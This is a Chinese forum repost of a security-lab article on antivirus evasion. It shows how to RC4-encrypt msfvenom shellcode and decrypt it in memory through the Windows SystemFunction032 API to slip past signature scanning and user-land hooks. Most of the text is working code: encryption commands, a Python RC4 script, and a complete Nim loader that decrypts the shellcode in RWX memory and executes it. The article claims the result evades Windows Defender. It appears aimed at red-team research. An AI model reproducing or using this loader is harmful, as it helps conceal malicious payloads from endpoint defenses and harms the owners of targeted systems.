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本帖最后由 wangqiang 于 2022-11-25 09:07 编辑
SystemFunction032函数的免杀研究
原创 大鱼 合天网安实验室 2022-11-24 17:30 发表于湖南
转载自：SystemFunction032函数的免杀研究
声明：本文仅限于技术讨论与分享，严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负，与本号及原作者无关。
什么是SystemFunction032函数？
虽然Benjamin Delphi在2013年就已经在Mimikatz中使用了它，但由于我之前对它的研究并不多，才有了下文。
这个函数能够通过RC4加密方式对内存区域进行加密/解密。例如，ReactOS项目的代码中显示，它需要一个指向RC4_Context结构的指针作为输入，以及一个指向加密密钥的指针。
不过，目前来看，除了XOR操作，至少我个人还不知道其他的针对内存区域加密/解密的替代函数。但是，你可能在其他研究员的博客中也读到过关于规避内存扫描器的文章，
使用简单的XOR操作，攻击者即使是使用了较长的密钥，也会被AV/EDR供应商检测到。
初步想法
虽然RC4算法被认为是不安全的，甚至多年来已经被各个安全厂商研究，但是它为我们提供了一个更好的内存规避的方式。如果我们直接使用AES，可能会更节省OpSec。
但是一个简单的单一的Windows API是非常易于使用的。
通常情况下，如果你想在一个进程中执行Shellcode，你需要执行以下步骤。
1、打开一个到进程的句柄
2、在该进程中分配具有RW/RX或RWX权限的内存
3、将Shellcode写入该区域
4、(可选)将权限从RW改为RX，以便执行
5、以线程/APC/回调/其他方式执行Shellcode。
为了避免基于签名的检测，我们可以在执行前对我们的Shellcode进行加密并在运行时解密。
例如，对于AES解密，流程通常是这样的。
1、打开一个到进程的句柄
2、用RW/RX或RWX的权限在该进程中分配内存
3、解密Shellcode，这样我们就可以将shellcode的明文写入内存中
4、将Shellcode写入分配的区域中
5、(可选)把执行的权限从RW改为RX
6、以线程/APC/回调/其他方式执行Shellcode
在这种情况下，Shellcode本身在写入内存时可能会被发现，例如被用户区的钩子程序发现，因为我们需要把指向明文Shellcode的指针传递给WriteProcessMemory或NtWriteVirtualMemory。
XOR的使用可以很好的避免这一点，因为我们还可以在将加密的值写入内存后XOR解密内存区域。
简单来讲就像这样。
1、为进程打开一个句柄
2、在该进程中以RW/RX或RWX的权限分配内存
3、将Shellcode写入分配的区域中
4、XOR解密Shellcode的内存区域
5、(可选)把执行的权限从RW改为RX
6、以线程/APC/回调/其他方式执行Shellcode。
但是XOR操作很容易被发现。所以我们尽可能不去使用这种方式。
这里有一个很好的替代方案，我们可以利用SystemFunction032来解密Shellcode，然后将其写入内存中。
生成POC
首先，我们需要生成Shellcode，然后使用OpenSSL对它进行RC4加密。因此，我们可以使用msfvenom来生成。
- msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
- cat calc.bin | openssl enc -rc4 -nosalt -k "aaaaaaaaaaaaaaaa" > enccalc.bin
但后来在调试时发现，SystemFunction032的加密/解密方式与OpenSSL/RC4不同。所以我们不能这样做。
最终修改为
- openssl enc -rc4 -in calc.bin -K `echo -n 'aaaaaaaaaaaaaaaa' | xxd -p` -nosalt > enccalc.bin
我们也可以使用下面的Nim代码来获得一个加密的Shellcode blob（仅Windows操作系统）。
- import winim
- import winim/lean
- # msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
- const encstring = slurp"calc.bin"
- func toByteSeq*(str: string): seq[byte] {.inline.} =
- ## Converts a string to the corresponding byte sequence.
- @(str.toOpenArrayByte(0, str.high))
- proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS
- {.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}
-
- # This is the mentioned RC4 struct
- type
- USTRING* = object
- Length*: DWORD
- MaximumLength*: DWORD
- Buffer*: PVOID
- var keyString: USTRING
- var imgString: USTRING
- # Our encryption Key
- var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
- keyString.Buffer = cast[PVOID](&keyBuf)
- keyString.Length = 16
- keyString.MaximumLength = 16
- var shellcode = toByteSeq(encstring)
- var size = len(shellcode)
- # We need to still get the Shellcode to memory to encrypt it with SystemFunction032
- let tProcess = GetCurrentProcessId()
- echo "Current Process ID: ", tProcess
- var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
- echo "Process Handle: ", repr(pHandle)
- let rPtr = VirtualAllocEx(
- pHandle,
- NULL,
- cast[SIZE_T](size),
- MEM_COMMIT,
- PAGE_READ_WRITE
- )
- copyMem(rPtr, addr shellcode[0], size)
- # Fill the RC4 struct
- imgString.Buffer = rPtr
- imgString.Length = cast[DWORD](size)
- imgString.MaximumLength = cast[DWORD](size)
- # Call SystemFunction032
- SystemFunction032(&imgString, &keyString)
- copyMem(addr shellcode[0],rPtr ,size)
- echo "Writing encrypted shellcode to dec.bin"
- writeFile("enc.bin", shellcode)
- # enc.bin contains our encrypted Shellcode
之后，又写出了一个简单的Python脚本，用Python脚本简化了加密的过程。
- #!/usr/bin/env python3
- from typing import Iterator
- from base64 import b64encode
- # Stolen from: https://gist.github.com/hsauers5/491f9dde975f1eaa97103427eda50071
- def key_scheduling(key: bytes) -> list:
- sched = [i for i in range(0, 256)]
- i = 0
- for j in range(0, 256):
- i = (i + sched[j] + key[j % len(key)]) % 256
- tmp = sched[j]
- sched[j] = sched[i]
- sched[i] = tmp
- return sched
- def stream_generation(sched: list[int]) -> Iterator[bytes]:
- i, j = 0, 0
- while True:
- i = (1 + i) % 256
- j = (sched[i] + j) % 256
- tmp = sched[j]
- sched[j] = sched[i]
- sched[i] = tmp
- yield sched[(sched[i] + sched[j]) % 256]
- def encrypt(plaintext: bytes, key: bytes) -> bytes:
- sched = key_scheduling(key)
- key_stream = stream_generation(sched)
-
- ciphertext = b''
- for char in plaintext:
- enc = char ^ next(key_stream)
- ciphertext += bytes([enc])
-
- return ciphertext
- if __name__ == '__main__':
- # msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
- with open('calc.bin', 'rb') as f:
- result = encrypt(plaintext=f.read(), key=b'aaaaaaaaaaaaaaaa')
- print(b64encode(result).decode())
为了执行这个shellcode，我们可以简单地使用以下Nim代码。
- import winim
- import winim/lean
- # (OPTIONAL) do some Environmental Keying stuff
- # Encrypted with the previous code
- # Embed the encrypted Shellcode on compile time as string
- const encstring = slurp"enc.bin"
- func toByteSeq*(str: string): seq[byte] {.inline.} =
- ## Converts a string to the corresponding byte sequence.
- @(str.toOpenArrayByte(0, str.high))
- proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS
- {.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}
- type
- USTRING* = object
- Length*: DWORD
- MaximumLength*: DWORD
- Buffer*: PVOID
- var keyString: USTRING
- var imgString: USTRING
- # Same Key
- var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']
- keyString.Buffer = cast[PVOID](&keyBuf)
- keyString.Length = 16
- keyString.MaximumLength = 16
- var shellcode = toByteSeq(encstring)
- var size = len(shellcode)
- let tProcess = GetCurrentProcessId()
- echo "Current Process ID: ", tProcess
- var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
- let rPtr = VirtualAllocEx(
- pHandle,
- NULL,
- cast[SIZE_T](size),
- MEM_COMMIT,
- PAGE_EXECUTE_READ_WRITE
- )
- copyMem(rPtr, addr shellcode[0], size)
- imgString.Buffer = rPtr
- imgString.Length = cast[DWORD](size)
- imgString.MaximumLength = cast[DWORD](size)
- # Decrypt memory region with SystemFunction032
- SystemFunction032(&imgString, &keyString)
- # (OPTIONAL) we could Sleep here with a custom Sleep function to avoid memory Scans
- # Directly call the Shellcode instead of using a Thread/APC/Callback/whatever
- let f = cast[proc(){.nimcall.}](rPtr)
- f()
最终效果，至少windows defender不会报毒。
通过使用这个方法，我们几乎可以忽略用户区的钩子程序，因为我们的明文Shellcode从未被传递给任何函数（只有SystemFunction032本身）。
当然，所有这些供应商都可以通过钩住Advapi32/SystemFunction032来检测我们。
后记
之后我想到了一个更加完美的想法。通过使用PIC-Code，我们也可以省去我的PoC中所使用的其他Win32函数。因为在编写PIC-Code时，所有的代码都已经被包含在了.text部分，
而这个部分通常默认有RX权限，这在很多情况下是已经足够了。所以我们不需要改变内存权限，也不需要把Shellcode写到内存中。
简单来讲是以下这种情况：
1、调用SystemFunction032来解密Shellcode
2、直接调用它
例如，PIC-Code的样本代码可以在这里找到。对于Nim语言来说，之前发布了一个库，它也能让我们相对容易地编写PIC代码，叫做Bitmancer。
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发表于 2022-11-25 09:06:15